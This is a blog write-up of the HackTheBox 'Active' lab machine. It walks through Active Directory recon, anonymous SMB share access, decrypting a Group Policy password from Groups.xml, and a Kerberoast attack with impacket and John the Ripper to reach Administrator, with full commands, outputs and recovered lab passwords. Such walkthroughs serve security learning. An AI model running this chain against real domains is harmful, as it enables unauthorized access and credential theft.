Ti Kallisti

HackTheBox "Active" Write-Up

For those who don't know, HackTheBox is a service that allows you to engage in CTF / Red Team activities against a wide variety of targets. If you are interested in Red Teaming or InfoSec in general, I definitely recommend you to check it out.

The "Active" box was one of my favorites so far. It featured some really good real-world examples plus, for me, as a Windows noob, it was a really good learning journey into the world of Windows hacking.

Like in most cases, the first step we want to do is reconnaissance. In a situation where we don't need to be stealthy, I like to use the following command to look for open ports:

nmap -A [IP]

The -A means aggressive, and delivers all the information we need in most cases. Sometimes a

nmap -p- -A [IP]

can be useful, as it may discover some left-of-field ports that usually aren't used. The -p- just means scan ALL ports from 1 to 65535. Running the first command against the "Active" box gives us following information:

PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-12-14 10:39:21Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (96%), Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows 7 SP1 (96%), Microsoft Windows 7 Ultimate (96%), Microsoft Windows Vista or Windows 7 SP1 (96%), Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (96%), Microsoft Windows Vista SP2 (96%), Microsoft Windows Vista SP2, Windows 7, or Windows 7 SP1 (96%), Microsoft Windows Vista Business (96%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2018-12-14 11:40:19 |_ start_date: 2018-12-14 06:07:42

There's a lot to digest here. Good ways to gain an initial foothold are either LDAP (default port: 389/tcp), and SMB (default ports: 139/tcp and 445/tcp). This line:

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)

tells us that there's also an LDAP service running on the non-standard port 3268/tcp. To query LDAP from Linux, I like to use ldapsearch. For some initial information, we can use:

ldapsearch -H ldap://[IP]:[Port] -x -LLL -s base -b "" namingContexts

Let's go ahead and unpack this command first.

Let us run this against the box:

dn: namingContexts: DC=active,DC=htb namingContexts: CN=Configuration,DC=active,DC=htb namingContexts: CN=Schema,CN=Configuration,DC=active,DC=htb namingContexts: DC=DomainDnsZones,DC=active,DC=htb namingContexts: DC=ForestDnsZones,DC=active,DC=htb

With this list of naming Contexts, we can now proceed to search them for useful information with the following command:

ldapsearch -H ldap://[IP]:[Port] -x -LLL -s sub -b "dc=active,dc=htb"

By changing the searchbase to one of the naming Contexts and the scope to "sub", we can get more detailed information that's listed under active.htb. Running this against "Active" gives us this output:

Operations error (1) Additional information: 000004DC: LdapErr: DSID-0C09075A, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v1db1

Huh, bummer. The Error message tells us that an LDAP bind couln't be performed. This is most likely due to insufficient permissions. Querying the other naming Contexts leads to similar results. As we don't have any credentials yet, we can't progress here. Let us thus go to the other angle aforementioned: SMB. To connect to SMB from Linux, we can use smbclient. Initially, we want to run the following command:

smbclient -L [IP]

-L just means that we want to list the shares instead of connecting to one. Running it gives us this output:

Enter WORKGROUP\root's password:

As we didn't specify any workgroup or username in the command, it will use the default workgroup "WORKGROUP" and the username of the user on our machine. By pressing enter we can test if anonymous login is possible:

Anonymous login successful Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk Reconnecting with SMB1 for workgroup listing. Connection to [IP] failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 -- no workgroup available

And it works! Because we didn't specify any Share to connect to, we get the error message at the end (NT_STATUS_RESOURCE_NAME_NOT_FOUND) - of course, because there is no Share without a name. We can just ignore this error and instead specify on the list of Shares we were provided with. Using:

smbclient \\\\[IP]\\[Sharename]

we can now try all of these Shares. Using the "Press Enter on Password Prompt" technique from above, we can test if we can connect anonymously to any of these Shares. Spoiler: We can connect to "IPC$", but can't really execute any commands. So that is less useful. Trying to connect to "Replication", we get:

Enter WORKGROUP\root's password: Anonymous login successful Try "help" to get a list of possible commands. smb: \>

We have a prompt! Using dir or ls to list the directory contents and cd to go through the directories, we can look for any juicy stuff in here (You can use TABULATOR for auto-completion, to save some time typing some of the longer directory or file names). To save some time, I'll just skip the step of searching and go right to the juicy stuff:

smb: \> cd "active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups" smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 Groups.xml A 533 Wed Jul 18 22:46:06 2018 10459647 blocks of size 4096. 4891551 blocks available smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (3.6 KiloBytes/sec) (average 3.6 KiloBytes/sec)

The Groups.xml (normally located in "SYSVOL") is so interesting, because there is a good chance it contains AES-encrypted user passwords. Let's take a look:

cat Groups.xml| grep password

Gotcha! As you can see, we have a username

userName="active.htb\SVC_TGS"
and an encrypted password:
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
This is a Group Policy password, and can easily be decrpyted by using tools such as gpp-decrypt. We can get the cleartext-password like this:

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ /usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated GPPstillStandingStrong2k18

And there we have our password! We can now use it to go through the Shares again, this time with more privileges. To use credentials with smbclient, we have to call it like this:

smbclient \\\\[IP]\\[Sharename] -U [Domain]\\[User]

-U specifies the user to use for authentication. The domain can be constructed out of the information from LDAP:

namingContexts: DC=active,DC=htb
means that our domain is "active.htb", the user - "SVC_TGS" - we got from the Groups.xml file. When we exexute the command, we get a password prompt, where we have to enter the previously decrypted "GPPstillStandingStrong2k18". As before, I am skipping the iterating / searching part and skip right into the juicy stuff:

smbclient \\\\[IP]\\Users -U active.htb\\SVC_TGS Enter ACTIVE.HTB\SVC_TGS's password: Try "help" to get a list of possible commands. smb: \> dir . DR 0 Sat Jul 21 16:39:20 2018 .. DR 0 Sat Jul 21 16:39:20 2018 Administrator D 0 Mon Jul 16 12:14:21 2018 All Users DHS 0 Tue Jul 14 07:06:44 2009 Default DHR 0 Tue Jul 14 08:38:21 2009 Default User DHS 0 Tue Jul 14 07:06:44 2009 desktop.ini AHS 174 Tue Jul 14 06:57:55 2009 Public DR 0 Tue Jul 14 06:57:55 2009 SVC_TGS D 0 Sat Jul 21 17:16:32 2018 10459647 blocks of size 4096. 4931596 blocks available smb: \> cd SVC_TGS\Desktop smb: \SVC_TGS\Desktop\> ls . D 0 Sat Jul 21 17:14:42 2018 .. D 0 Sat Jul 21 17:14:42 2018 user.txt A 34 Sat Jul 21 17:06:25 2018 10459647 blocks of size 4096. 4931596 blocks available smb: \SVC_TGS\Desktop\> get user.txt getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

There we have our user flag!

We can also continue with querying LDAP, because now we have valid credentials:

ldapsearch -H ldap://[IP]:[Port] -x -D "cn=SVC_TGS,dc=active,dc=htb" -w GPPstillStandingStrong2k18 ldap_bind: Invalid credentials (49) additional info: 80090308: LdapErr: DSID-0C090400, comment: AcceptSecurityContext error, data 52e, v1db1

.. or, not? Seems the user we found isn't allowed to query LDAP. Thankfully, we already have two clues on where to look next. The first one is this line from our port-scan:

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-12-14 10:39:21Z)

This tells us than Kerberos Authenticaton is used on the target machine. The second clue is a little more subtle, the username we found in the Groups.xml: "SVC_TGS". This could just be random letters, OR the "SVC" could be short for "Service" and the "TGS" could be short for... what exactly? As I said in the beginning, I am a Windows noob, so this was a lot less obvious for me than for people who have more experience attacking Windows machines. But "TGS" - turns out - is short for "Ticket Granting Server". Kerberos hands out tickets to users who authenticated against it, so that they can authenticate against other servers without having to send their passwords again (at least that's my basic understanding of it).

So with these two hints, there's a good chance that our attack Vector here is Kerberos. The most famous privilege escalation exploit for Kerberos is "Kerberoast". It's a relatively safe way to get administrative privileges after you have valid user credentials and it is still very wide-spread in real-world productive enviroments. So let's try it! There's a lot of way to pull this of, I opted for a relatively lazy choice of using a tool that has all the capabilities I need - impacket. The specific tool I wanna use here is located under examples/GetUserSPNs.py. With this, we can run the Kerberoast exploit get an Admin Password hash:

./GetUserSPNs.py -request -outputfile crack.john -dc-ip [IP] [Domain]/[Username]:[Password]

Let's break this call down:

This will give us the hashfile crack.john, which we can now proceed to crack with JohnTheRipper. The command looks somewhat like this:

john --format=krb5tgs --wordlist=[filename] crack.john

This will provide us with the following output:

Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Warning: OpenMP is disabled; a non-OpenMP build may be faster Press 'q' or Ctrl-C to abort, almost any other key for status Ticketmaster1968 (?) 1g 0:00:00:14 DONE (2018-12-14 13:42) 0.06761g/s 712459p/s 712459c/s 712459C/s Tickle2Pickle..Tibilein Use the "--show" option to display all of the cracked passwords reliably Session completed

Et voilĂ , we have a password: "Ticketmaster1968".

With this, we can go back to SMB, login to the "C$" share, and get the root flag:

smbclient \\\\[IP]\\C$ -U active.htb\\Administrator Enter ACTIVE.HTB\Administrator's password: Try "help" to get a list of possible commands. smb: \> dir $Recycle.Bin DHS 0 Tue Jul 14 04:34:39 2009 Config.Msi DHS 0 Mon Jul 30 16:10:06 2018 Documents and Settings DHS 0 Tue Jul 14 07:06:44 2009 pagefile.sys AHS 4294500352 Fri Dec 14 12:33:10 2018 PerfLogs D 0 Tue Jul 14 05:20:08 2009 Program Files DR 0 Wed Jul 18 20:44:51 2018 Program Files (x86) DR 0 Wed Jul 18 20:44:52 2018 ProgramData DH 0 Mon Jul 30 15:49:31 2018 Recovery DHS 0 Mon Jul 16 12:13:22 2018 System Volume Information DHS 0 Wed Jul 18 20:45:01 2018 Users DR 0 Sat Jul 21 16:39:20 2018 Windows D 0 Mon Jul 30 15:42:18 2018 10459647 blocks of size 4096. 4925068 blocks available smb: \> cd Users\Administrator\Desktop smb: \Users\Administrator\Desktop\> dir . DR 0 Mon Jul 30 15:50:10 2018 .. DR 0 Mon Jul 30 15:50:10 2018 desktop.ini AHS 282 Mon Jul 30 15:50:10 2018 root.txt A 34 Sat Jul 21 17:06:07 2018 10459647 blocks of size 4096. 4925068 blocks available smb: \Users\Administrator\Desktop\> get root.txt getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

And we have the root flag!